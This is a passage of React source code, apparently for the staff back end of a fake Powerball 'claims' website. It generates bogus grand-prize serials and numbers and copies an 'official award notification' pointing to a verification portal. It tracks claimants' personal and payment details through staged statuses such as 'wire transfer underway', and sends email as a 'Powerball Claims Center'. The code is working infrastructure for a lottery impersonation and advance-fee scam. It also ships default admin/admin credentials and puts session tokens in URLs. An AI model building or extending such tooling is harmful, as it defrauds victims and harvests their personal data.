"use client";

import { FormEvent, useEffect, useState } from "react";
import { PowerballBallIcon, PowerballLogo } from "@/components/powerball-logo";

type ClaimInfo = {
  id: string;
  reference: string;
  claimantName: string;
  claimantEmail: string;
  claimantPhone: string;
  claimantCountry: string;
  paymentPreference: string;
  claimStatus: string;
  submittedAt: string;
};

type Entry = {
  id: string;
  serialNumber: string;
  winningNumbers: string | number[];
  prizeAmount?: string;
  issueDate?: string;
  recipientEmail?: string | null;
  status?: string;
  active: boolean;
  claimedAt: string | null;
  createdAt: string;
  claim?: ClaimInfo | null;
};

const STATUS_OPTIONS = [
  { value: "active", label: "Active (Unclaimed / Ready for Claim)", color: "status-active" },
  { value: "under_review", label: "Claim File Received (Agent Review in Progress)", color: "status-review" },
  { value: "identity_verified", label: "Identity Verified (Pending Final Approval)", color: "status-verified" },
  { value: "approved", label: "Claim Officially Approved (Disbursement Scheduled)", color: "status-approved" },
  { value: "payout_in_progress", label: "Payout in Progress (Wire / Transfer Underway)", color: "status-payout" },
  { value: "claimed", label: "Completed (Prize Disbursed & Audited)", color: "status-claimed" },
  { value: "void", label: "Voided / Inactive", color: "status-void" },
];

export default function AdminPanel() {
  const [username, setUsername] = useState("admin");
  const [password, setPassword] = useState("");
  const [authenticated, setAuthenticated] = useState(false);
  const [activeUsername, setActiveUsername] = useState("admin");
  const [activeTab, setActiveTab] = useState<"issue" | "records" | "account">("issue");
  const [sessionToken, setSessionToken] = useState("");
  const [entries, setEntries] = useState<Entry[]>([]);
  
  // Generation configuration
  const [quantity, setQuantity] = useState<number>(1);
  const [prizeAmount, setPrizeAmount] = useState("$1,300,000,000");
  const [issueDate, setIssueDate] = useState(() => new Date().toISOString().split("T")[0]);
  const [serialPrefix, setSerialPrefix] = useState("PB-INTL");
  const [recipientEmail, setRecipientEmail] = useState("");

  // Custom numbers mode for generation
  const [numberMode, setNumberMode] = useState<"auto" | "custom">("auto");
  const [customNumList, setCustomNumList] = useState(["", "", "", "", "", ""]);
  const [customSerialInput, setCustomSerialInput] = useState("");

  const [createdList, setCreatedList] = useState<Entry[]>([]);
  const [error, setError] = useState("");
  const [loading, setLoading] = useState(false);
  const [copiedId, setCopiedId] = useState<string | null>(null);

  // Edit Modal State
  const [editingEntry, setEditingEntry] = useState<Entry | null>(null);
  const [editSerial, setEditSerial] = useState("");
  const [editNumbers, setEditNumbers] = useState(["", "", "", "", "", ""]);
  const [editPrizeAmount, setEditPrizeAmount] = useState("");
  const [editIssueDate, setEditIssueDate] = useState("");
  const [editStatus, setEditStatus] = useState("active");
  const [editLoading, setEditLoading] = useState(false);
  const [editError, setEditError] = useState("");
  const [editSuccess, setEditSuccess] = useState("");

  // Account tab state
  const [newUsername, setNewUsername] = useState("");
  const [newPassword, setNewPassword] = useState("");
  const [claimAgentEmail, setClaimAgentEmail] = useState("");
  const [smtpHost, setSmtpHost] = useState("");
  const [smtpPort, setSmtpPort] = useState("587");
  const [smtpUser, setSmtpUser] = useState("");
  const [smtpPass, setSmtpPass] = useState("");
  const [smtpFrom, setSmtpFrom] = useState("");
  const [smtpSecure, setSmtpSecure] = useState(false);
  const [accountMessage, setAccountMessage] = useState("");
  const [accountError, setAccountError] = useState("");
  const [accountLoading, setAccountLoading] = useState(false);

  function getActiveToken(): string {
    if (sessionToken) return sessionToken;
    if (typeof window !== "undefined") {
      const tok =
        window.localStorage.getItem("claims_admin_token") ||
        window.sessionStorage.getItem("claims_admin_token") ||
        "";
      return tok.trim();
    }
    return "";
  }

  function sessionHeaders(token?: string) {
    const t = token || getActiveToken();
    const headers = new Headers();
    if (t) {
      headers.set("Authorization", `Bearer ${t}`);
      headers.set("x-admin-token", t);
    }
    return headers;
  }

  function appendTokenQuery(url: string, token?: string): string {
    const t = token || getActiveToken();
    if (!t) return url;
    const separator = url.includes("?") ? "&" : "?";
    return `${url}${separator}token=${encodeURIComponent(t)}`;
  }

  async function loadEntries(token?: string) {
    const t = token || getActiveToken();
    if (!t) return;

    try {
      const url = appendTokenQuery("/api/admin/entries", t);
      const response = await fetch(url, {
        credentials: "same-origin",
        headers: sessionHeaders(t),
        cache: "no-store",
      });

      if (response.ok) {
        const result = (await response.json()) as { entries?: Entry[] };
        setEntries(result.entries || []);
        setAuthenticated(true);
      }
    } catch (err) {
      console.warn("Could not load entries list:", err);
    }
  }

  async function loadAccountDetails(token?: string) {
    const t = token || getActiveToken();
    if (!t) return;

    try {
      const url = appendTokenQuery("/api/admin/account", t);
      const response = await fetch(url, {
        credentials: "same-origin",
        headers: sessionHeaders(t),
        cache: "no-store",
      });

      if (response.ok) {
        const result = (await response.json()) as {
          currentUsername?: string;
          claimAgentEmail?: string;
          smtp?: {
            host?: string;
            port?: number;
            user?: string;
            from?: string;
            hasPassword?: boolean;
            secure?: boolean;
          };
        };
        if (result.claimAgentEmail) {
          setClaimAgentEmail(result.claimAgentEmail);
        }
        if (result.currentUsername) {
          setActiveUsername(result.currentUsername);
        }
        if (result.smtp) {
          if (result.smtp.host) setSmtpHost(result.smtp.host);
          if (result.smtp.port) setSmtpPort(String(result.smtp.port));
          if (result.smtp.user) setSmtpUser(result.smtp.user);
          if (result.smtp.from) setSmtpFrom(result.smtp.from);
          if (result.smtp.secure !== undefined) setSmtpSecure(result.smtp.secure);
        }
      }
    } catch (err) {
      console.warn("Could not load account details:", err);
    }
  }

  // Restore session from localStorage on initial load
  useEffect(() => {
    try {
      const storedToken =
        window.localStorage.getItem("claims_admin_token") ||
        window.sessionStorage.getItem("claims_admin_token") ||
        "";
      const storedUser =
        window.localStorage.getItem("claims_admin_user") ||
        window.sessionStorage.getItem("claims_admin_user") ||
        "admin";

      if (storedToken) {
        setSessionToken(storedToken);
        setActiveUsername(storedUser);
        setAuthenticated(true);

        const checkUrl = appendTokenQuery("/api/admin/session", storedToken);
        fetch(checkUrl, {
          credentials: "same-origin",
          headers: sessionHeaders(storedToken),
        })
          .then((res) => {
            if (res.ok) {
              setAuthenticated(true);
              void loadEntries(storedToken);
              void loadAccountDetails(storedToken);
            }
          })
          .catch(() => {
            setAuthenticated(true);
          });
      }
    } catch (err) {
      console.error("Storage access error:", err);
    }
  }, []);

  async function login(event: FormEvent) {
    event.preventDefault();
    setLoading(true);
    setError("");

    try {
      const response = await fetch("/api/admin/login", {
        method: "POST",
        credentials: "same-origin",
        cache: "no-store",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
          username: username.trim(),
          password: password.trim(),
        }),
      });

      const result = (await response.json()) as {
        ok?: boolean;
        error?: string;
        sessionToken?: string;
        username?: string;
      };

      if (!response.ok || !result.ok || !result.sessionToken) {
        throw new Error(result.error || "Invalid username or password.");
      }

      const tok = result.sessionToken.trim();
      const user = result.username || username.trim();

      try {
        window.localStorage.setItem("claims_admin_token", tok);
        window.localStorage.setItem("claims_admin_user", user);
        window.sessionStorage.setItem("claims_admin_token", tok);
        window.sessionStorage.setItem("claims_admin_user", user);
      } catch (storageErr) {
        console.warn("Could not write to web storage:", storageErr);
      }

      setSessionToken(tok);
      setActiveUsername(user);
      setAuthenticated(true);
      setPassword("");

      await loadEntries(tok);
      void loadAccountDetails(tok);
    } catch (caught) {
      setError(caught instanceof Error ? caught.message : "Access denied. Check credentials.");
    } finally {
      setLoading(false);
    }
  }

  async function logout() {
    const tok = getActiveToken();
    try {
      const url = appendTokenQuery("/api/admin/logout", tok);
      await fetch(url, {
        method: "POST",
        credentials: "same-origin",
        headers: sessionHeaders(tok),
      });
    } catch {
      // ignore
    }

    try {
      window.localStorage.removeItem("claims_admin_token");
      window.localStorage.removeItem("claims_admin_user");
      window.sessionStorage.removeItem("claims_admin_token");
      window.sessionStorage.removeItem("claims_admin_user");
    } catch {
      // ignore
    }

    setSessionToken("");
    setAuthenticated(false);
    setUsername("admin");
    setPassword("");
    setEntries([]);
    setCreatedList([]);
  }

  function handleCustomNumChange(index: number, val: string) {
    const cleaned = val.replace(/\D/g, "").slice(0, 2);
    setCustomNumList((prev) => {
      const next = [...prev];
      next[index] = cleaned;
      return next;
    });
  }

  function handleEditNumChange(index: number, val: string) {
    const cleaned = val.replace(/\D/g, "").slice(0, 2);
    setEditNumbers((prev) => {
      const next = [...prev];
      next[index] = cleaned;
      return next;
    });
  }

  function openEditModal(entry: Entry) {
    const rawNums = Array.isArray(entry.winningNumbers) ? entry.winningNumbers : entry.winningNumbers.split(",");
    const padNums = rawNums.map((n) => String(n).trim().padStart(2, "0"));
    while (padNums.length < 6) padNums.push("");

    setEditingEntry(entry);
    setEditSerial(entry.serialNumber);
    setEditNumbers(padNums.slice(0, 6));
    setEditPrizeAmount(entry.prizeAmount || "$1,300,000,000");
    setEditIssueDate(entry.issueDate || new Date(entry.createdAt).toISOString().split("T")[0]);
    setEditStatus(entry.status || (entry.active ? "active" : "claimed"));
    setEditError("");
    setEditSuccess("");
  }

  function closeEditModal() {
    setEditingEntry(null);
    setEditError("");
    setEditSuccess("");
  }

  async function handleSaveEditedEntry(event: FormEvent) {
    event.preventDefault();
    if (!editingEntry) return;

    setEditLoading(true);
    setEditError("");
    setEditSuccess("");

    try {
      const tok = getActiveToken();
      const headers = sessionHeaders(tok);
      headers.set("Content-Type", "application/json");

      const numParsed = editNumbers.map((n) => Number(n.trim())).filter((n) => Number.isInteger(n) && n >= 1 && n <= 99);
      if (numParsed.length !== 6) {
        throw new Error("Please enter all 6 winning numbers (numbers 1-99).");
      }

      const url = appendTokenQuery("/api/admin/entries", tok);
      const response = await fetch(url, {
        method: "PUT",
        credentials: "same-origin",
        cache: "no-store",
        headers,
        body: JSON.stringify({
          id: editingEntry.id,
          serialNumber: editSerial.trim().toUpperCase(),
          winningNumbers: numParsed,
          prizeAmount: editPrizeAmount.trim(),
          issueDate: editIssueDate.trim(),
          status: editStatus,
        }),
      });

      const result = await response.json();
      if (!response.ok || !result.ok) {
        throw new Error(result.error || "Failed to update entry.");
      }

      setEditSuccess("Winning entry and claim status updated successfully!");
      void loadEntries(tok);
      setTimeout(() => {
        closeEditModal();
      }, 900);
    } catch (err) {
      setEditError(err instanceof Error ? err.message : "Failed to update entry.");
    } finally {
      setEditLoading(false);
    }
  }

  async function handleCreateEntries(event: FormEvent) {
    event.preventDefault();
    setLoading(true);
    setError("");

    try {
      const tok = getActiveToken();
      const headers = sessionHeaders(tok);
      headers.set("Content-Type", "application/json");

      let payloadCustomNumbers: number[] | null = null;
      if (numberMode === "custom") {
        const nums = customNumList.map((n) => Number(n.trim())).filter((n) => Number.isInteger(n) && n >= 1 && n <= 99);
        if (nums.length !== 6) {
          throw new Error("Please enter all 6 winning numbers (between 1 and 99).");
        }
        payloadCustomNumbers = nums;
      }

      const url = appendTokenQuery("/api/admin/entries", tok);
      const response = await fetch(url, {
        method: "POST",
        credentials: "same-origin",
        cache: "no-store",
        headers,
        body: JSON.stringify({
          quantity: numberMode === "custom" ? 1 : quantity,
          prizeAmount: prizeAmount.trim(),
          issueDate: issueDate.trim(),
          serialPrefix: serialPrefix.trim() || "PB-INTL",
          recipientEmail: recipientEmail.trim() || undefined,
          customNumbers: payloadCustomNumbers,
          customSerial: customSerialInput.trim() || undefined,
        }),
      });

      const result = (await response.json()) as { ok?: boolean; entries?: Entry[]; entry?: Entry; error?: string };
      if (!response.ok || (!result.entries && !result.entry)) {
        throw new Error(result.error || "Could not generate winning numbers.");
      }

      const newlyCreated = result.entries || (result.entry ? [result.entry] : []);
      setCreatedList(newlyCreated);
      setCustomSerialInput("");
      setCustomNumList(["", "", "", "", "", ""]);
      void loadEntries(tok);
    } catch (caught) {
      setError(caught instanceof Error ? caught.message : "Could not generate winning numbers.");
    } finally {
      setLoading(false);
    }
  }

  async function deleteEntry(id: string) {
    if (!confirm("Are you sure you want to delete this issued entry?")) return;
    try {
      const tok = getActiveToken();
      const headers = sessionHeaders(tok);
      const url = appendTokenQuery(`/api/admin/entries?id=${id}`, tok);
      const res = await fetch(url, {
        method: "DELETE",
        credentials: "same-origin",
        headers,
      });

      if (!res.ok) {
        const data = (await res.json()) as { error?: string };
        throw new Error(data.error || "Failed to delete entry");
      }
      void loadEntries(tok);
    } catch (err) {
      alert(err instanceof Error ? err.message : "Failed to delete entry");
    }
  }

  async function handleClearAllRecords() {
    const confirmation = prompt(
      'WARNING: This will permanently wipe ALL registered Grand Prize serials, winning combinations, and claimant files for a fresh start.\n\nType "CLEAR" to confirm:'
    );

    if (confirmation !== "CLEAR") {
      if (confirmation !== null) alert("Reset canceled. You must type 'CLEAR' to proceed.");
      return;
    }

    try {
      const tok = getActiveToken();
      const headers = sessionHeaders(tok);
      const url = appendTokenQuery(`/api/admin/entries?clearAll=true`, tok);
      const res = await fetch(url, {
        method: "DELETE",
        credentials: "same-origin",
        headers,
      });

      const data = await res.json();
      if (!res.ok || !data.ok) {
        throw new Error(data.error || "Failed to clear records.");
      }

      alert("✓ " + data.message);
      setEntries([]);
      setCreatedList([]);
      void loadEntries(tok);
    } catch (err) {
      alert(err instanceof Error ? err.message : "Failed to clear database records.");
    }
  }

  async function updateAccount(event: FormEvent) {
    event.preventDefault();
    setAccountLoading(true);
    setAccountMessage("");
    setAccountError("");

    try {
      const tok = getActiveToken();
      const headers = sessionHeaders(tok);
      headers.set("Content-Type", "application/json");

      const url = appendTokenQuery("/api/admin/account", tok);
      const response = await fetch(url, {
        method: "POST",
        credentials: "same-origin",
        cache: "no-store",
        headers,
        body: JSON.stringify({
          newUsername: newUsername.trim() || undefined,
          newPassword: newPassword.trim() || undefined,
          claimAgentEmail: claimAgentEmail.trim(),
          smtpHost: smtpHost.trim(),
          smtpPort: smtpPort.trim(),
          smtpUser: smtpUser.trim(),
          smtpPass: smtpPass.trim() || undefined,
          smtpFrom: smtpFrom.trim(),
          smtpSecure: smtpSecure,
        }),
      });

      const result = (await response.json()) as {
        ok?: boolean;
        message?: string;
        error?: string;
        updatedUsername?: string;
        claimAgentEmail?: string;
      };

      if (!response.ok || !result.ok) {
        throw new Error(result.error || "Failed to update settings.");
      }

      setAccountMessage(result.message || "Settings updated successfully!");
      if (result.updatedUsername) {
        setActiveUsername(result.updatedUsername);
        try {
          window.localStorage.setItem("claims_admin_user", result.updatedUsername);
          window.sessionStorage.setItem("claims_admin_user", result.updatedUsername);
        } catch {
          // ignore
        }
      }
      setNewPassword("");
    } catch (caught) {
      setAccountError(caught instanceof Error ? caught.message : "Failed to update settings.");
    } finally {
      setAccountLoading(false);
    }
  }

  function numbers(entry: Entry) {
    return Array.isArray(entry.winningNumbers) ? entry.winningNumbers : entry.winningNumbers.split(",");
  }

  async function copyEntryDetails(entry: Entry) {
    const text = `OFFICIAL POWERBALL AWARD NOTIFICATION\nPrize Tier: Grand Prize Jackpot\nPrize Amount: ${entry.prizeAmount || "$1,300,000,000"}\nIssue Date: ${entry.issueDate || "2026-01-15"}\nTicket Serial Number: ${entry.serialNumber}\nWinning Numbers: ${numbers(entry).join(" - ")}\nWinner Verification Portal: ${window.location.origin}`;
    await navigator.clipboard.writeText(text);
    setCopiedId(entry.id);
    setTimeout(() => setCopiedId(null), 3000);
  }

  function getStatusBadge(status?: string, active?: boolean) {
    const s = (status || (active ? "active" : "claimed")).toLowerCase();
    const matched = STATUS_OPTIONS.find((opt) => opt.value === s);
    const label = matched ? matched.label.split(" (")[0] : s;
    const colorClass = matched ? matched.color : active ? "status-active" : "status-claimed";

    return <i className={`admin-status-badge ${colorClass}`}>{label}</i>;
  }

  // Login Card
  if (!authenticated) {
    return (
      <main className="staff-signin-wrap">
        <section className="staff-signin-card">
          <div className="flex justify-center mb-4">
            <PowerballBallIcon size={56} className="drop-shadow-md" href="/" />
          </div>
          <h1>Staff sign in</h1>
          <p className="staff-subtitle">Restricted area. Authorised claims personnel only.</p>

          <form onSubmit={login} className="staff-form">
            <label className="staff-label" htmlFor="username">
              <span>USERNAME</span>
              <input
                id="username"
                name="username"
                type="text"
                value={username}
                onChange={(event) => setUsername(event.target.value)}
                autoComplete="username"
                required
                autoFocus
              />
            </label>

            <label className="staff-label" htmlFor="password">
              <span>PASSWORD</span>
              <input
                id="password"
                name="password"
                type="password"
                value={password}
                onChange={(event) => setPassword(event.target.value)}
                autoComplete="current-password"
                placeholder="•••••"
                required
              />
            </label>

            {error && <div className="staff-error" role="alert">{error}</div>}

            <button className="staff-signin-btn" type="submit" disabled={loading}>
              {loading ? "Signing in…" : "Sign in"}
            </button>
          </form>

          <p className="staff-footnote">
            First-time access is <strong>admin</strong> / <strong>admin</strong>. Change it from the Account tab once signed in.
          </p>
        </section>
      </main>
    );
  }

  // Dashboard
  return (
    <main className="admin-page">
      <header className="admin-header">
        <div>
          <div className="admin-brand-tag">
            <PowerballLogo variant="light" size="sm" showSubtitle subtitleText="CLAIMS ADMINISTRATION" href="/" />
          </div>
          <p className="admin-header-desc">
            Generate winning entries, edit winning numbers, manage claim reference progress, and configure notifications.
          </p>
        </div>
        <div className="admin-actions">
          <span className="user-badge">User: <strong>{activeUsername}</strong></span>
          <a href="/" target="_blank" rel="noopener noreferrer" className="view-portal-btn">
            View Live Portal ↗
          </a>
          <button onClick={logout} className="logout-btn">
            Sign out
          </button>
        </div>
      </header>

      {/* Tabs navigation */}
      <nav className="admin-nav-tabs">
        <button
          className={`tab-btn ${activeTab === "issue" ? "active" : ""}`}
          onClick={() => setActiveTab("issue")}
        >
          🏆 Generate Winning Numbers
        </button>
        <button
          className={`tab-btn ${activeTab === "records" ? "active" : ""}`}
          onClick={() => {
            setActiveTab("records");
            void loadEntries();
          }}
        >
          📋 Winning Records & Claims ({entries.length})
        </button>
        <button
          className={`tab-btn ${activeTab === "account" ? "active" : ""}`}
          onClick={() => {
            setActiveTab("account");
            setNewUsername(activeUsername);
            setAccountMessage("");
            setAccountError("");
            void loadAccountDetails();
          }}
        >
          ⚙ Account & Security
        </button>
      </nav>

      {/* Tab 1: Generate Winning Numbers */}
      {activeTab === "issue" && (
        <div className="admin-grid">
          <section className="admin-card issue-card">
            <div className="admin-tier-badge">🏆 Prize Tier: Grand Prize Jackpot</div>
            <h2>Generate Winning Numbers & Serials</h2>
            <p>
              Auto-generate as many unique winning serials and numbers as you need. Set the jackpot amount and date issued for claimants to verify on the portal. No winner email is required.
            </p>

            <form onSubmit={handleCreateEntries} className="issue-form">
              {/* Prize Amount & Date Config */}
              <div className="grid-2-col">
                <label className="staff-label" htmlFor="prizeAmountInput">
                  <span>JACKPOT PRIZE AMOUNT</span>
                  <input
                    id="prizeAmountInput"
                    type="text"
                    value={prizeAmount}
                    onChange={(e) => setPrizeAmount(e.target.value)}
                    placeholder="$1,300,000,000"
                    required
                  />
                </label>

                <label className="staff-label" htmlFor="issueDateInput">
                  <span>DATE ISSUED / DRAW DATE</span>
                  <input
                    id="issueDateInput"
                    type="date"
                    value={issueDate}
                    onChange={(e) => setIssueDate(e.target.value)}
                    required
                  />
                </label>
              </div>

              {/* Mode Toggle: Auto Bulk vs Custom Single */}
              <div className="mode-toggle-wrap">
                <span className="mode-label">GENERATION MODE</span>
                <div className="mode-toggle-pills">
                  <button
                    type="button"
                    className={`pill-btn ${numberMode === "auto" ? "active" : ""}`}
                    onClick={() => setNumberMode("auto")}
                  >
                    🎲 Auto-Generate (Single or Bulk)
                  </button>
                  <button
                    type="button"
                    className={`pill-btn ${numberMode === "custom" ? "active" : ""}`}
                    onClick={() => setNumberMode("custom")}
                  >
                    ✏ Exact Custom 6 Numbers
                  </button>
                </div>
              </div>

              {/* Auto mode options: Quantity & Prefix */}
              {numberMode === "auto" && (
                <div className="grid-2-col">
                  <label className="staff-label" htmlFor="quantitySelect">
                    <span>HOW MANY ENTRIES TO GENERATE?</span>
                    <select
                      id="quantitySelect"
                      className="text-input-field"
                      value={quantity}
                      onChange={(e) => setQuantity(Number(e.target.value))}
                    >
                      <option value={1}>1 Unique Winning Entry</option>
                      <option value={3}>3 Unique Entries</option>
                      <option value={5}>5 Unique Entries</option>
                      <option value={10}>10 Unique Entries</option>
                      <option value={20}>20 Unique Entries</option>
                    </select>
                  </label>

                  <label className="staff-label" htmlFor="serialPrefixInput">
                    <span>SERIAL PREFIX</span>
                    <input
                      id="serialPrefixInput"
                      type="text"
                      value={serialPrefix}
                      onChange={(e) => setSerialPrefix(e.target.value.toUpperCase())}
                      placeholder="PB-INTL"
                    />
                  </label>
                </div>
              )}

              {/* Custom mode options */}
              {numberMode === "custom" && (
                <div className="custom-numbers-box">
                  <span className="custom-box-title">ENTER 6 WINNING NUMBERS (1-99):</span>
                  <div className="admin-num-inputs">
                    {customNumList.map((val, idx) => (
                      <input
                        key={idx}
                        type="text"
                        inputMode="numeric"
                        maxLength={2}
                        placeholder={String((idx + 1) * 7).padStart(2, "0")}
                        value={val}
                        onChange={(e) => handleCustomNumChange(idx, e.target.value)}
                        className={`admin-box-input ${idx === 5 ? "last-red-box" : ""}`}
                        required
                      />
                    ))}
                  </div>
                  <small className="custom-hint">
                    Numbers 1-5 are white balls; 6th number is the red Powerball.
                  </small>

                  <label className="staff-label mt-2" htmlFor="customSerialInput">
                    <span>CUSTOM SERIAL NUMBER (OPTIONAL)</span>
                    <input
                      id="customSerialInput"
                      type="text"
                      value={customSerialInput}
                      onChange={(e) => setCustomSerialInput(e.target.value.toUpperCase())}
                      placeholder="e.g. PB-INTL-928103"
                    />
                  </label>
                </div>
              )}

              {/* Optional recipient email */}
              <label className="staff-label" htmlFor="recipientEmailInput">
                <span>RECIPIENT EMAIL (OPTIONAL / NOT REQUIRED)</span>
                <input
                  id="recipientEmailInput"
                  type="email"
                  value={recipientEmail}
                  onChange={(e) => setRecipientEmail(e.target.value)}
                  placeholder="Optional note / recipient address"
                />
              </label>

              {error && <div className="error-message" role="alert">{error}</div>}

              <button className="submit-button" disabled={loading}>
                {loading ? "Generating winning numbers…" : `✦ Generate Winning Numbers ${numberMode === "auto" && quantity > 1 ? `(${quantity} Entries)` : ""}`}
              </button>
            </form>
          </section>

          {/* Right Panel: Newly Generated Results */}
          <section className="admin-card generated-card">
            <div className="gen-tier-pill">🏆 Grand Prize Jackpot Records</div>
            <h2>Latest Generated Winning Entries</h2>

            {createdList.length > 0 ? (
              <div className="generated-entries-scroll-list">
                {createdList.map((entry) => (
                  <div key={entry.id} className="single-gen-card">
                    <div className="serial-display">
                      <span>Ticket Serial Number</span>
                      <strong>{entry.serialNumber}</strong>
                    </div>

                    <div className="admin-number-row">
                      {numbers(entry).map((num, i) => (
                        <i key={i} className={i === 5 ? "red-powerball-ball" : ""}>
                          {num}
                        </i>
                      ))}
                    </div>

                    <div className="gen-meta-row">
                      <span>Amount: <b>{entry.prizeAmount || prizeAmount}</b></span>
                      <span>Date: <b>{entry.issueDate || issueDate}</b></span>
                    </div>

                    <div className="flex gap-2">
                      <button className="copy-button" onClick={() => copyEntryDetails(entry)}>
                        {copiedId === entry.id ? "Copied Notification Text ✓" : "Copy Award Notification Text"}
                      </button>
                      <button className="edit-btn-card" onClick={() => openEditModal(entry)}>
                        ✏ Edit
                      </button>
                    </div>
                  </div>
                ))}
              </div>
            ) : (
              <div className="empty-state">
                <span>🏆</span>
                <p>Click &quot;Generate Winning Numbers&quot; on the left to create active winning entries ready for claimants to use on the portal.</p>
              </div>
            )}
          </section>
        </div>
      )}

      {/* Tab 2: Records Table */}
      {activeTab === "records" && (
        <section className="admin-card entries-card">
          <div className="table-title">
            <div>
              <h2>All Registered Winning Numbers & Claim References</h2>
              <p>Track live claim progress, edit numbers/serials, update status, and manage claimant records.</p>
            </div>
            <div className="flex items-center gap-2">
              <button
                type="button"
                className="clear-all-btn"
                onClick={handleClearAllRecords}
                title="Clear all records from database for a fresh start"
              >
                🗑 Clear All Database Records (Fresh Start)
              </button>
              <button onClick={() => loadEntries().catch((caught) => setError(String(caught)))}>
                ↻ Refresh list
              </button>
            </div>
          </div>
          <div className="entry-table">
            <div className="table-row table-head">
              <span>Serial Number</span>
              <span>6 Winning Numbers</span>
              <span>Prize & Date</span>
              <span>Claim Reference</span>
              <span>Progress Status</span>
              <span>Actions</span>
            </div>
            {entries.map((entry) => (
              <div className="table-row" key={entry.id}>
                <span data-label="Serial">
                  <b className="font-mono text-sm text-slate-900 block">{entry.serialNumber}</b>
                  {entry.recipientEmail && <small className="text-slate-400 text-[10px] truncate block">{entry.recipientEmail}</small>}
                </span>
                <span data-label="Numbers">
                  <span className="mini-num-balls">
                    {numbers(entry).map((num, i) => (
                      <em key={i} className={i === 5 ? "red-mini" : ""}>
                        {num}
                      </em>
                    ))}
                  </span>
                </span>
                <span data-label="Prize & Date">
                  <strong className="text-emerald-700 block text-xs">{entry.prizeAmount || "$1,300,000,000"}</strong>
                  <span className="text-slate-500 text-[10px]">{entry.issueDate || new Date(entry.createdAt).toLocaleDateString()}</span>
                </span>
                <span data-label="Claim Reference">
                  {entry.claim ? (
                    <div>
                      <strong className="font-mono text-xs text-blue-900 bg-blue-50 border border-blue-200 px-2 py-0.5 rounded block w-fit">
                        {entry.claim.reference}
                      </strong>
                      <span className="text-[11px] text-slate-600 font-semibold block mt-0.5">
                        {entry.claim.claimantName} ({entry.claim.claimantCountry})
                      </span>
                    </div>
                  ) : (
                    <span className="text-slate-400 text-xs italic">Awaiting Claim</span>
                  )}
                </span>
                <span data-label="Progress Status">
                  {getStatusBadge(entry.status, entry.active)}
                </span>
                <span data-label="Actions" className="flex items-center gap-1.5">
                  <button
                    className="edit-mini-btn"
                    onClick={() => openEditModal(entry)}
                    title="Edit numbers, serial, and update claim progress status"
                  >
                    ✏ Edit
                  </button>
                  <button
                    className="copy-mini-btn"
                    onClick={() => copyEntryDetails(entry)}
                    title="Copy Award Notification"
                  >
                    {copiedId === entry.id ? "✓" : "Copy"}
                  </button>
                  <button
                    className="delete-entry-btn"
                    onClick={() => deleteEntry(entry.id)}
                    title="Delete Entry"
                  >
                    ✕
                  </button>
                </span>
              </div>
            ))}
            {!entries.length && (
              <div className="no-entries">
                <p>No winning entries currently in database.</p>
                <button
                  className="mt-2 text-xs font-bold text-red-700 underline"
                  onClick={() => setActiveTab("issue")}
                >
                  Click here to Generate New Winning Numbers
                </button>
              </div>
            )}
          </div>
        </section>
      )}

      {/* Tab 3: Account & Security */}
      {activeTab === "account" && (
        <section className="admin-card account-card">
          <h2>Account & Claim Notification Settings</h2>
          <p>
            Configure your claim notification email address and administrator credentials. When a winner submits their claim file, it routes to this email address.
          </p>

          <form onSubmit={updateAccount} className="account-form">
            <label className="staff-label" htmlFor="claimAgentEmailInput">
              <span>ADMIN & CLAIM AGENT NOTIFICATION EMAIL</span>
              <input
                id="claimAgentEmailInput"
                type="email"
                value={claimAgentEmail}
                onChange={(event) => setClaimAgentEmail(event.target.value)}
                placeholder="claims@yourhosteddomain.com"
              />
              <span className="text-xs text-slate-500 font-normal">
                Whenever a claimant completes their claim file, full submission details and the reference code are automatically delivered to both this admin address and the claimant&apos;s email.
              </span>
            </label>

            {/* Outgoing SMTP Server Configuration */}
            <div className="border-t border-slate-200 my-2 pt-4">
              <span className="text-xs font-bold text-slate-700 uppercase tracking-wide block mb-1">
                OUTGOING SMTP EMAIL SERVER (OPTIONAL FOR DIRECT HOST DISPATCH)
              </span>
              <p className="text-xs text-slate-500 mb-3">
                Configure your cPanel / domain Webmail SMTP server (e.g. <code>mail.yourdomain.com</code>) to send automated confirmation emails directly from your domain.
              </p>

              <div className="grid-2-col mb-3">
                <label className="staff-label" htmlFor="smtpHostInput">
                  <span>SMTP HOST</span>
                  <input
                    id="smtpHostInput"
                    type="text"
                    value={smtpHost}
                    onChange={(e) => setSmtpHost(e.target.value)}
                    placeholder="e.g. mail.yourdomain.com or smtp.gmail.com"
                  />
                </label>

                <label className="staff-label" htmlFor="smtpPortInput">
                  <span>SMTP PORT</span>
                  <input
                    id="smtpPortInput"
                    type="text"
                    value={smtpPort}
                    onChange={(e) => setSmtpPort(e.target.value)}
                    placeholder="465 (SSL) or 587 (TLS)"
                  />
                </label>
              </div>

              <div className="grid-2-col mb-3">
                <label className="staff-label" htmlFor="smtpUserInput">
                  <span>SMTP USERNAME / EMAIL</span>
                  <input
                    id="smtpUserInput"
                    type="text"
                    value={smtpUser}
                    onChange={(e) => setSmtpUser(e.target.value)}
                    placeholder="notifications@yourdomain.com"
                  />
                </label>

                <label className="staff-label" htmlFor="smtpPassInput">
                  <span>SMTP PASSWORD</span>
                  <input
                    id="smtpPassInput"
                    type="password"
                    value={smtpPass}
                    onChange={(e) => setSmtpPass(e.target.value)}
                    placeholder="Enter email account password"
                  />
                </label>
              </div>

              <div className="grid-2-col">
                <label className="staff-label" htmlFor="smtpFromInput">
                  <span>FROM ADDRESS / SENDER NAME</span>
                  <input
                    id="smtpFromInput"
                    type="text"
                    value={smtpFrom}
                    onChange={(e) => setSmtpFrom(e.target.value)}
                    placeholder='"Powerball Claims Center" <claims@yourdomain.com>'
                  />
                </label>

                <div className="flex items-center gap-2 mt-6">
                  <input
                    id="smtpSecureCheckbox"
                    type="checkbox"
                    checked={smtpSecure}
                    onChange={(e) => setSmtpSecure(e.target.checked)}
                    className="w-4 h-4"
                  />
                  <label htmlFor="smtpSecureCheckbox" className="text-xs text-slate-700 font-bold cursor-pointer">
                    Use SSL / TLS (Port 465)
                  </label>
                </div>
              </div>
            </div>

            <div className="border-t border-slate-200 my-2 pt-4">
              <span className="text-xs font-bold text-slate-700 uppercase tracking-wide block mb-3">
                ADMIN LOGIN CREDENTIALS
              </span>

              <div className="grid-2-col">
                <label className="staff-label" htmlFor="newUsername">
                  <span>ADMIN USERNAME</span>
                  <input
                    id="newUsername"
                    type="text"
                    value={newUsername}
                    onChange={(event) => setNewUsername(event.target.value)}
                    placeholder="New username"
                  />
                </label>

                <label className="staff-label" htmlFor="newPassword">
                  <span>NEW PASSWORD</span>
                  <input
                    id="newPassword"
                    type="password"
